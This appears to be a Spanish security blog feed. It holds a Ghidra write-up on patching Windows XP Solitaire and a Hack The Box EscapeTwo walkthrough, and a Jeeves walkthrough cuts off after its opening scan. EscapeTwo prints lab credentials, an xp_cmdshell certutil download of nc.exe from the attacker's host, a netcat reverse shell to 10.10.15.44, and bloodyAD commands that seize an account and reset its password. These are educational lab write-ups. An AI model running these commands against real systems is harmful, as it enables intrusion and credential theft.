Windows on

Ingeniería Inversa del Solitario (Windows XP): Forzando victorias y manipulando la visibilidad del tablero con Ghidra

admin@synacklabs.github.io (SynAckLabs) — Wed, 11 Mar 2026 00:00:00 +0000

1. Introducción

En esta entrada voy a explicar el proceso de análisis de dos aspectos del Solitario de Windows mediante ingeniería inversa con Ghidra. El objetivo es documentar cómo identificar y alterar comportamientos específicos del juego directamente desde el binario.

El write-up se divide en dos objetivos principales:

Localización de funciones ocultas: Identificar y activar el comando "Force a win", una funcionalidad no documentada que permite forzar la victoria. Veremos cómo rastrear este comando desde los strings del programa hasta su implementación en el código.
Modificación de la lógica de renderizado: Analizar cómo el programa gestiona la visibilidad de las cartas en el tablero. El reto aquí es modificar la lógica que controla las columnas para que todas las cartas se muestren boca arriba, eliminando la restricción que solo permite ver la última carta de cada pila.

2. Parte I: Activando el comando oculto “Force a win”

2.1. Análisis de strings: Primer contacto con la lista de cadenas definidas.

Lo primero que hice al abrir el binario en Ghidra fue ir a lo seguro. Como no sabía por dónde empezar a buscar funciones ocultas, decidí echar un vistazo a los strings del programa. Me fui al menú Window y seleccioné Defined Strings. Mi idea era ver si los desarrolladores habían dejado algún mensaje de debug o algún nombre interesante que me diera una pista de qué hace el juego por detrás.

Al abrir la lista de strings, me puse a investigar un poco. La mayoría parecían nombres de funciones estándar de Windows, pero de repente vi algo que me llamó la atención: “Force a win”.

2.2. Identificación del recurso: ID 1010.

La presencia de esta cadena sugiere la existencia de una funcionalidad no documentada que fuerza la victoria. Al hacer doble clic sobre ella, Ghidra me llevó a su ubicación en la sección de recursos. Allí se observa que pertenece a una tabla de strings con identificadores numéricos. Concretamente, “Force a win” tiene asignado el ID 1010 (Rsrc String ID 1010).

2.3. Conversión de bases: Localizando el valor hexadecimal 0x03F2.

Antes de seguir buscando en el código, me detuve un momento. Como Ghidra y el lenguaje ensamblador suelen trabajar con valores hexadecimales, necesitaba saber cómo se escribe 1010 en hex. Convertimos el ID a hexadecimal (0x3F2). Ya tengo el valor que debo buscar en las instrucciones del programa: 0x3f2.

2.4. Rastreo en el desensamblado: Localización del manejador de comandos

Con el valor 0x3F2 como objetivo, realicé una búsqueda en el código desensamblado. En la dirección 010019d2 aparecía la instrucción CMP EAX, 0x3f2, justo antes de un salto condicional JZ hacia la etiqueta LAB_01001a35. Esta comparación es típica de un manejador de comandos: el programa evalúa si el parámetro recibido coincide con el ID 1010 y, en caso afirmativo, desvía el flujo hacia la rutina correspondiente.

2.5. Análisis del flujo de victoria y el “gatillo” del Deal

Seguí el salto hasta la etiqueta LAB_01001a35 para ver qué pasaba allí. Me encontré con un bloque de código que hace un XOR ESI, ESI (una forma rápida de poner a cero un registro) y luego hace varios PUSH, incluyendo el valor 0x12. Aunque todavía me cuesta entender exactamente qué hace cada instrucción de la pila, este parece ser el camino que toma el juego para saltar directamente a la pantalla de victoria.

Investigando el código cercano para entender qué más podíamos controlar, identifiqué el valor 1000 (en hex 0x3E8). Este ID es el “gatillo” que se activa cuando el usuario pulsa “Deal” (Repartir). En condiciones normales, este evento llama a una función que yo mismo renombré como RESET_TIME, encargada de limpiar el tablero para una partida nueva. También vi menciones a 0x3e9 y 0x3ea. Estos IDs corresponden probablemente a otras funciones internas, como reiniciar el tiempo o activar modos de depuración.

2.6. Secuestro de flujo: Convirtiendo el reinicio en victoria

Con el conocimiento de que el ID 1000 dispara la función de repartir (RESET_TIME), decidí realizar un secuestro de flujo (hijacking) utilizando la herramienta Patch Instruction de Ghidra. El objetivo era simple: redirigir una acción legítima del usuario hacia la función de victoria que acababa de descubrir.

El proceso técnico consistió en lo siguiente:

Identificación del salto: Localicé la instrucción de salto condicional que se ejecuta cuando el programa detecta el ID 1000.
Redirección del destino: Modifiqué la dirección de memoria de ese salto para que, en lugar de apuntar a la rutina de reinicio, saltara directamente a la etiqueta LAB_01001a35 (el bloque que activa la animación de victoria).

Gracias a este parche, el comportamiento del binario cambia por completo: ahora, cada vez que se pulsa “Nueva partida”, el programa omite la lógica de inicio y ejecuta la rutina de victoria. Esto demuestra cómo, alterando un solo salto en el desensamblado, podemos forzar al software a ejecutar funciones fuera de su contexto original.

3. Parte II: Ingeniería de la visibilidad de las cartas

3.1. Descartando el motor gráfico: Limitaciones de Cards.dll y CDT_Draw.

Para entender cómo el juego muestra las cartas, empecé por lo más lógico: buscar qué librerías externas utiliza para dibujar. En la tabla de importaciones encontré Cards.dll y, dentro de ella, la función CDT_Draw. Mi razonamiento fue que, si encontraba dónde se llama a esta función, podría interceptar el momento en que se decide si una carta se dibuja boca arriba o boca abajo. Sin embargo, al profundizar en las llamadas, me di cuenta de que cdtDraw solo recibe parámetros y dibuja; la lógica que decide si una carta va boca arriba o boca abajo está en otro lado. Necesitaba encontrar el código que toma esas decisiones.

3.2. La técnica de la constante conocida: Buscando el “7” en la lógica de columnas.

Decidí cambiar de enfoque: en lugar de seguir el rastro de las funciones gráficas, me centré en la lógica del tablero. El solitario clásico tiene 7 columnas en la zona de juego, así que el programa seguramente itera sobre esas columnas. Si hay un bucle que recorre las columnas, debe haber una comparación con el número 7. Busqué en todo el código desensamblado la instrucción CMP con el valor 0x7 y encontré varios candidatos.

¡Bingo! Entre los resultados, encontré una sección de código donde se comparaba el registro EAX con 0x7. Esta comparación (CMP EAX, 7) no parecía ser un valor aleatorio; estaba justo antes de un salto condicional que controlaba un bucle importante. Sabía que estaba en el lugar correcto: esta es la función que gestiona el barrido de las 7 columnas del tablero.

3.3. Anatomía del bucle de renderizado: Cómo el juego barre el tablero.

Al analizar la función que barre las 7 columnas, identifiqué un bucle interno encargado de procesar las cartas de cada pila. La lógica es interesante: el programa recupera el número total de cartas en la columna y utiliza un contador para iterar sobre ellas.

La clave de la visibilidad reside en una comparación crítica: el juego contrasta el índice de la carta actual con el índice de la última carta de la pila.

La condición: Si el índice es igual al total (la carta de la cima), el flujo continúa hacia la rutina de visibilidad.
El salto condicional: En ensamblador, esto es un CMP seguido de un JNZ (Jump if Not Zero). Si la carta no es la última, el JNZ hace que el programa “salte” por encima del CALL que marca la carta como visible.

Al neutralizar este JNZ, obligo al programa a ejecutar el CALL que da visibilidad para todas las cartas, sin importar su posición.

4. El Parche Final: Neutralización del salto: Uso de NOPs para revelar todo el tablero.

El parche consiste en sustituir los bytes del JNZ por dos instrucciones NOP (No Operation). Al hacer esto, el flujo de ejecución se vuelve lineal: el “portero” que impedía mostrar las cartas inferiores desaparece, y el motor gráfico recibe la instrucción de renderizar la cara de cada carta de la columna. El resultado es un tablero completamente destapado desde el inicio de la partida.

Conclusión

Hemos recorrido dos caminos diferentes dentro del ejecutable del Solitario: primero localizamos y activamos un comando oculto que fuerza la victoria, y después modificamos la lógica de dibujado para hacer visibles todas las cartas. A lo largo del proceso hemos puesto en práctica varias técnicas fundamentales de ingeniería inversa.

Estas técnicas nos han permitido descubrir mecanismos internos del juego que no están visibles en la interfaz normal, demostrando cómo el análisis directo del binario puede revelar funcionalidades ocultas y ofrecer un control completo sobre el comportamiento de la aplicación.

EscapeTwo (Easy)

admin@synacklabs.github.io (SynAckLabs) — Wed, 04 Mar 2026 00:00:00 +0000

Resumen

Durante la resolución de EscapeTwo, empecé con una enumeración de servicios y validé acceso a SMB con credenciales proporcionadas. Desde SMB encontré un .xlsx que, tras analizarlo, contenía credenciales válidas (incluyendo sa). Con sa accedí a MSSQL y habilité ejecución de comandos para obtener una shell. Desde la máquina, recuperé credenciales de ryan en un fichero de configuración de SQL, pivoté por WinRM y, tras analizar el dominio (BloodHound), identifiqué una ruta de abuso de AD CS. Aproveché permisos sobre plantillas (ESC4) para hacerla explotable, solicité un certificado suplantando a Administrator, obtuve su NT hash y entré con Pass-the-Hash.

Enumeración

PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-01-11 10:59:43Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-26T11:46:45
| Not valid after: 2124-06-08T17:00:40
| MD5: b55a:a63f:50ba:ed44:f865:820a:5b8e:f493
| SHA-1: a87b:9555:5164:74d3:f73f:bded:72e7:baab:db76:c12a
| -----BEGIN CERTIFICATE-----
| MIIF6TCCBNGgAwIBAgITVAAAAAVjf8S2XKAtZAAAAAAABTANBgkqhkiG9w0BAQsF
| ADBGMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
| MRcwFQYDVQQDEw5zZXF1ZWwtREMwMS1DQTAgFw0yNTA2MjYxMTQ2NDVaGA8yMTI0
| MDYwODE3MDA0MFowADCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN6t
| PbrDaBr7iaqtpFrlC5txEmOlllkSRMtLsld7ZgwcBdmU4UU31oiAciONnCqnuXEg
| EsrgGO3Nufzbu66sgkMqtTd0MyiYb5+wVTqL5FxRXJCyyLnmjdoKdemZ9uqpwVRw
| RXR502G1YGNVtPFffxbU9vvcIe1SaIUvL9QXVkzJuze8a7mlQ964CPER4T9v3Q96
| 3RK8DHm64/EqR1hPMKAuIfHftAX5a67ARnVwBiXn3dItESQJoLliq+hsoXvcDxfA
| iBP0uOgLrKyZrKMNFOsPpFe4GwGxrNmVeigHRF9/IPzXmDJZC1C+ieIBL3J1tzOD
| 0RrwhK5LRVOijIkBsnECAwEAAaOCAxIwggMOMDcGCSsGAQQBgjcVBwQqMCgGICsG
| AQQBgjcVCIOFgESHvJM3hdGJJcLeUoTxqjiBKQEhAgFuAgECMDIGA1UdJQQrMCkG
| CCsGAQUFBwMCBggrBgEFBQcDAQYKKwYBBAGCNxQCAgYHKwYBBQIDBTAOBgNVHQ8B
| Af8EBAMCBaAwQAYJKwYBBAGCNxUKBDMwMTAKBggrBgEFBQcDAjAKBggrBgEFBQcD
| ATAMBgorBgEEAYI3FAICMAkGBysGAQUCAwUwHQYDVR0OBBYEFD3FI2lBcJiy3qh6
| t0wOZkt5ZV4EMB8GA1UdIwQYMBaAFMZBubbkDkfWBlps8YrGlP0a+7jDMIHIBgNV
| HR8EgcAwgb0wgbqggbeggbSGgbFsZGFwOi8vL0NOPXNlcXVlbC1EQzAxLUNBLENO
| PURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZp
| Y2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0Yj9jZXJ0aWZpY2F0
| ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9u
| UG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGvMIGsBggrBgEFBQcwAoaBn2xkYXA6Ly8v
| Q049c2VxdWVsLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZp
| Y2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0
| Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1
| dGhvcml0eTAxBgNVHREBAf8EJzAlgg9EQzAxLnNlcXVlbC5odGKCCnNlcXVlbC5o
| dGKCBlNFUVVFTDBNBgkrBgEEAYI3GQIEQDA+oDwGCisGAQQBgjcZAgGgLgQsUy0x
| LTUtMjEtNTQ4NjcwMzk3LTk3MjY4NzQ4NC0zNDk2MzM1MzcwLTEwMDAwDQYJKoZI
| hvcNAQELBQADggEBAILdYpMzCMJ2jrzMqFcZs5zRq1lDJA7Q1W9cZXZpZktTkXdA
| cEkRlcLQN9ZxvydKHdR053nIGNXcVn7CHpK8OU6sleyY0RRm/hktREv53L3tt0i7
| Dks9d14cTKN5+r1aQmeCJo7bRdeeiQcMKDyyKndI4Tn03XWjYS0yOem+2PrrANgs
| 2YWLg6LrslYnHB0xMFup6da7ueNpuRxwekBen20P6v6R3STGascvNVqBNBpNTMRo
| CpokbunsA+8Bqqt3IWX5/Og2wCBL2v/dPiyjSQ3WYOwguyjDF8gQdVMIsW25vUMc
| 3UVUm1yCwc7rr5IEQAkXdTHzbNIHACbCvOotXZM=
|_-----END CERTIFICATE-----
|_ssl-date: 2026-01-11T11:01:13+00:00; -4s from scanner time.
1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2026-01-11T11:01:13+00:00; -4s from scanner time.
| ms-sql-info:
| 10.129.69.156:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.129.69.156:1433:
| Target_Name: SEQUEL
| NetBIOS_Domain_Name: SEQUEL
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: DC01.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-11T10:58:38
| Not valid after: 2056-01-11T10:58:38
| MD5: 80d9:a446:754f:deb1:d297:c17c:fa92:c9d0
| SHA-1: 2f7a:4ab9:c724:0b71:6177:1046:04bf:9ec0:538d:0af4
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQIP8Of/2gFJNJo0+BxnvIxjANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjYwMTExMTA1ODM4WhgPMjA1NjAxMTExMDU4MzhaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALZLb9hM
| xXtQAfV/+O9Ij84F5+CiTZxLMYVHDP62+ZvJGhG7sNDVlH9b0XZQg7Q5n4Uu7bdb
| BEXqOrlY1eUQpx3adXIxEW904rvK9bnSfsptFOa/Qg7RtFrQOx9rV4A7RZMP1SMH
| H/6EFyeB8VShZjzGnHoACxQpIK9HGNHg/HqQ8+O9huiBJgA6P8xgFjP//B77YMS2
| pxv/XAZZHP8Ju9+SpOpCfBb4m8pugIatRJM2No9JUogVXvip90E/rGJY24cLu+Pi
| 7MG99eBJoEcAOPNGBokNu85sNIBla3ibY1ebpWEfpGCyTL0BitFuwadHnotOhVIH
| H6fVTr3nhmqWV60CAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAinsUDlNe2rk07NMn
| 6+zTpKHtE4TqyVAuGCBDrMKU7IOrqG4jGFDZInzk+XLOk44RLqFsegEhGfLRYCvi
| mTs8woPKwvWGNMmeejvcv4MLPiWwXB2XxRCez5Th6opGkjdQ0ST5rmmccpO6F6st
| hpmfIK7YX5s2X0MqarSZ9NL3UKVvsVPhYhsBRuqH0W+eodTo9mzIsvnKVz9/dD5M
| 8KgyW2QPJ1Lso8Vm4pCJNmLt4fWD/6niODCpbV1f+JcGat/r3W9w/7O9Gc2zlwU+
| l6By9y3WYwluHPP3y6t2fKV/lWzUa1InhxO7OkuY9kSBhVVtnJd8BZ6v5gsx2XgX
| MfYJIQ==
|_-----END CERTIFICATE-----
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49689/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49695/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49712/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49728/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49736/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

SMB (con credenciales dadas)

Accedí a SMB usando las credenciales proporcionadas.

Dentro vi dos directorios interesantes: Accounting Department y Users.

Me descargué todos los archivos de esos directorios para analizarlos.

En un primer vistazo no parecía haber nada útil.

Tampoco encontré nada interesante en MSSQL con ese primer enfoque.

Enumeración de usuarios y Kerberoasting

Enumeré usuarios por SMB:

─# nxc smb 10.129.69.156 -u rose -p 'KxEPkKe6R8su' --users
SMB 10.129.69.156 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.129.69.156 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.129.69.156 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.69.156 445 DC01 Administrator 2024-06-08 16:32:20 0 Built-in account for administering the computer/domain
SMB 10.129.69.156 445 DC01 Guest 2024-12-25 14:44:53 0 Built-in account for guest access to the computer/domain
SMB 10.129.69.156 445 DC01 krbtgt 2024-06-08 16:40:23 0 Key Distribution Center Service Account
SMB 10.129.69.156 445 DC01 michael 2024-06-08 16:47:37 0
SMB 10.129.69.156 445 DC01 ryan 2024-06-08 16:55:45 0
SMB 10.129.69.156 445 DC01 oscar 2024-06-08 16:56:36 0
SMB 10.129.69.156 445 DC01 sql_svc 2024-06-09 07:58:42 0
SMB 10.129.69.156 445 DC01 rose 2024-12-25 14:44:54 0
SMB 10.129.69.156 445 DC01 ca_svc 2026-01-11 11:07:38 0
SMB 10.129.69.156 445 DC01 [*] Enumerated 9 local users: SEQUEL

Como aparecían dos cuentas de servicio (sql_svc y ca_svc), probé Kerberoasting para pedir SPNs:

┌──(root㉿kali)-[/home/…/Desktop/HTB/EscapeTwo/scan]
└─# impacket-GetUserSPNs -dc-ip 10.129.69.156 sequel.htb/rose 
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
----------------------- ------- ---------------------------------------------------- -------------------------- -------------------------- ----------
sequel.htb/sql_svc.DC01 sql_svc CN=SQLRUserGroupSQLEXPRESS,CN=Users,DC=sequel,DC=htb 2024-06-09 09:58:42.689521 2026-01-11 11:58:35.361372
sequel.htb/ca_svc.DC01 ca_svc CN=Cert Publishers,CN=Users,DC=sequel,DC=htb 2026-01-11 12:22:29.121764 2024-06-09 19:14:42.333365

Pedí los tickets:

Intenté crackearlos, pero no lo conseguí.

Credenciales dentro del Excel (accounts.xlsx)

Volví a los ficheros del SMB y me fijé en accounts.xlsx:

┌──(kali㉿kali)-[~/Downloads]
└─$ file accounts.xlsx

accounts.xlsx: Zip archive data, made by v2.0, extract using at least v2.0, last modified, last modified Sun, Jun 09 2024 10:47:44, uncompressed size 681, method=deflate

Al ver que era un ZIP, lo descomprimí con unzip y analicé el contenido. Ahí encontré credenciales.

En sharedStrings.xml se veían los valores:

Y al formatearlo con xmllint aparecían las credenciales:

┌──(kali㉿kali)-[~/Downloads/xl]
└─$ xmllint --format sharedStrings.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="25" uniqueCount="24">
 <si>
 <t xml:space="preserve">First Name</t>
 </si>
 <si>
 <t xml:space="preserve">Last Name</t>
 </si>
 <si>
 <t xml:space="preserve">Email</t>
 </si>
 <si>
 <t xml:space="preserve">Username</t>
 </si>
 <si>
 <t xml:space="preserve">Password</t>
 </si>
 <si>
 <t xml:space="preserve">Angela</t>
 </si>
 <si>
 <t xml:space="preserve">Martin</t>
 </si>
 <si>
 <t xml:space="preserve">angela@sequel.htb</t>
 </si>
 <si>
 <t xml:space="preserve">angela</t>
 </si>
 <si>
 <t xml:space="preserve">0fwz7Q4mSpurIt99</t>
 </si>
 <si>
 <t xml:space="preserve">Oscar</t>
 </si>
 <si>
 <t xml:space="preserve">Martinez</t>
 </si>
 <si>
 <t xml:space="preserve">oscar@sequel.htb</t>
 </si>
 <si>
 <t xml:space="preserve">oscar</t>
 </si>
 <si>
 <t xml:space="preserve">86LxLBMgEWaKUnBG</t>
 </si>
 <si>
 <t xml:space="preserve">Kevin</t>
 </si>
 <si>
 <t xml:space="preserve">Malone</t>
 </si>
 <si>
 <t xml:space="preserve">kevin@sequel.htb</t>
 </si>
 <si>
 <t xml:space="preserve">kevin</t>
 </si>
 <si>
 <t xml:space="preserve">Md9Wlq1E5bZnVDVo</t>
 </si>
 <si>
 <t xml:space="preserve">NULL</t>
 </si>
 <si>
 <t xml:space="preserve">sa@sequel.htb</t>
 </si>
 <si>
 <t xml:space="preserve">sa</t>
 </si>
 <si>
 <t xml:space="preserve">MSSQLP@ssw0rd!</t>
 </si>
</sst>

Credenciales extraídas:

angela@sequel.htb:0fwz7Q4mSpurIt99
oscar@sequel.htb:86LxLBMgEWaKUnBG
kevin@sequel.htb:Md9Wlq1E5bZnVDVo
sa@sequel.htb:MSSQLP@ssw0rd!

Validé credenciales de Oscar:

Y también las de sa (administrador del servicio MSSQL):

Acceso a MSSQL y ejecución de comandos

Me conecté a MSSQL con impacket-mssqlclient:

impacket-mssqlclient sequel.htb/'sa:MSSQLP@ssw0rd!'@10.129.69.156

Habilité xp_cmdshell para poder ejecutar comandos:

Pasé un nc.exe para lanzar una reverse shell.

Servidor HTTP en mi máquina:

┌──(kali㉿kali)-[/usr/share/windows-resources/binaries]
└─$ python3 -m http.server 4000
Serving HTTP on 0.0.0.0 port 4000 (http://0.0.0.0:4000/) ...
10.129.69.156 - - [11/Jan/2026 13:01:10] "GET /nc.exe HTTP/1.1" 200 -
10.129.69.156 - - [11/Jan/2026 13:01:11] "GET /nc.exe HTTP/1.1" 200 -



---------------------------------------------------
---------------------------------------------------
---------------------------------------------------
---------------------------------------------------



SQL (sa dbo@master)> EXEC xp_cmdshell 'certutil -urlcache -split -f http://10.10.15.44:4000/nc.exe C:\Users\sql_svc\Desktop\nc64.exe';
output

CertUtil: -URLCache command completed successfully.

NULL

Ejecuté enable_xp_cmdshell y luego lancé la shell:

SQL (sa dbo@master)> enable_xp_cmdshell
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa dbo@master)> EXEC xp_cmdshell 'C:\Users\sql_svc\Desktop\nc64.exe 10.10.15.44 4444 -e powershell'

Shell recibida:

Dentro de la máquina vi que la flag no estaba en el directorio de sql_svc, y que había otro usuario llamado ryan, así que necesitaba pivotar.

Búsqueda de credenciales en la máquina (pivot a ryan)

Busqué ficheros que contuvieran credenciales. En la ruta de instalación de SQL encontré un fichero de configuración con passwords:

PS C:\> dir


 Directory: C:\


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/5/2022 12:03 PM PerfLogs
d-r--- 1/4/2025 7:11 AM Program Files
d----- 6/9/2024 8:37 AM Program Files (x86)
d----- 6/8/2024 3:07 PM SQL2019
d-r--- 6/9/2024 6:42 AM Users
d----- 1/4/2025 8:10 AM Windows


PS C:\> cd SQL2019
PS C:\SQL2019> dir


 Directory: C:\SQL2019


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/3/2025 7:29 AM ExpressAdv_ENU


PS C:\SQL2019> cd ExpressAdv_ENU
PS C:\SQL2019\ExpressAdv_ENU> dir


 Directory: C:\SQL2019\ExpressAdv_ENU


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/8/2024 3:07 PM 1033_ENU_LP
d----- 6/8/2024 3:07 PM redist
d----- 6/8/2024 3:07 PM resources
d----- 6/8/2024 3:07 PM x64
-a---- 9/24/2019 10:03 PM 45 AUTORUN.INF
-a---- 9/24/2019 10:03 PM 788 MEDIAINFO.XML
-a---- 6/8/2024 3:07 PM 16 PackageId.dat
-a---- 9/24/2019 10:03 PM 142944 SETUP.EXE
-a---- 9/24/2019 10:03 PM 486 SETUP.EXE.CONFIG
-a---- 6/8/2024 3:07 PM 717 sql-Configuration.INI
-a---- 9/24/2019 10:03 PM 249448 SQLSETUPBOOTSTRAPPER.DLL


PS C:\SQL2019\ExpressAdv_ENU> type sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True
PS C:\SQL2019\ExpressAdv_ENU>

Con esa contraseña validé credenciales y confirmé acceso como ryan:

Comprobé el usuario ryan:

PS C:\SQL2019\ExpressAdv_ENU> net user ryan
User name ryan
Full Name Ryan Howard
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never

Password last set 6/8/2024 8:55:45 AM
Password expires Never
Password changeable 6/9/2024 8:55:45 AM
Password required Yes
User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon 6/9/2024 9:16:26 AM

Logon hours allowed All

Local Group Memberships *Remote Management Use
Global Group memberships *Management Department*Domain Users
The command completed successfully.

Como estaba en Remote Management Use, pude usar WinRM:

BloodHound y ruta hacia AD CS

Levanté BloodHound:

/home/kali/bloodhound-cli containers start

Encontré una posible escalada (ESC1) relacionada con abuso de certificados, ya que podía llegar al grupo Cert Publishers:

Para automatizar el proceso de DACL Abuse, utilicé bloodyAD.

El permiso WriteOwner me permite cambiar el owner del objeto. Una vez soy owner, ya puedo modificar la DACL y darme permisos (por ejemplo, GenericAll).

Cambiar owner:

bloodyAD -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' --host DC01.sequel.htb set owner 'CA_SVC' 'RYAN'

Dar GenericAll:

bloodyAD -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' --host DC01.sequel.htb add genericAll 'CA_SVC' 'RYAN'

Cambiar contraseña (ya con control):

bloodyAD -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' --host DC01.sequel.htb set password 'CA_SVC' 'NewP@ssword2026!'

Resultado:

AD-CS

Busqué vulnerabilidades en plantillas con certipy-ad:

Interpretación: ESC4 implica que tengo permisos para editar la plantilla y hacerla vulnerable. Con el comando correspondiente modifiqué la template para que quedase explotable.

Volví a ejecutar el análisis y ya aparecía como vulnerable:

Después exploté solicitando un certificado suplantando a Administrator:

Con eso obtuve el NT hash del Admin:

Finalmente, hice Pass-the-Hash para acceder como Administrator:

Jeeves (Medium)

admin@synacklabs.github.io (SynAckLabs) — Tue, 20 Jan 2026 00:00:00 +0000

Resumen

Jeeves es una máquina Windows que requiere enumerar servicios web no estándar. El punto de entrada es una instancia de Jenkins mal configurada que permite ejecución de código remota (RCE) a través de la consola de scripts de Groovy. La escalada de privilegios implica la exfiltración y el craqueo de una base de datos de KeePass (.kdbx). Finalmente, el acceso a la flag de root presenta un reto que no había visto nunca: está oculta utilizando Alternate Data Streams (ADS) de NTFS, lo que requiere conocimiento sobre cómo Windows gestiona los metadatos de archivos.

Enumeración

Comenzamos con un escaneo de puertos para identificar servicios expuestos.

PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
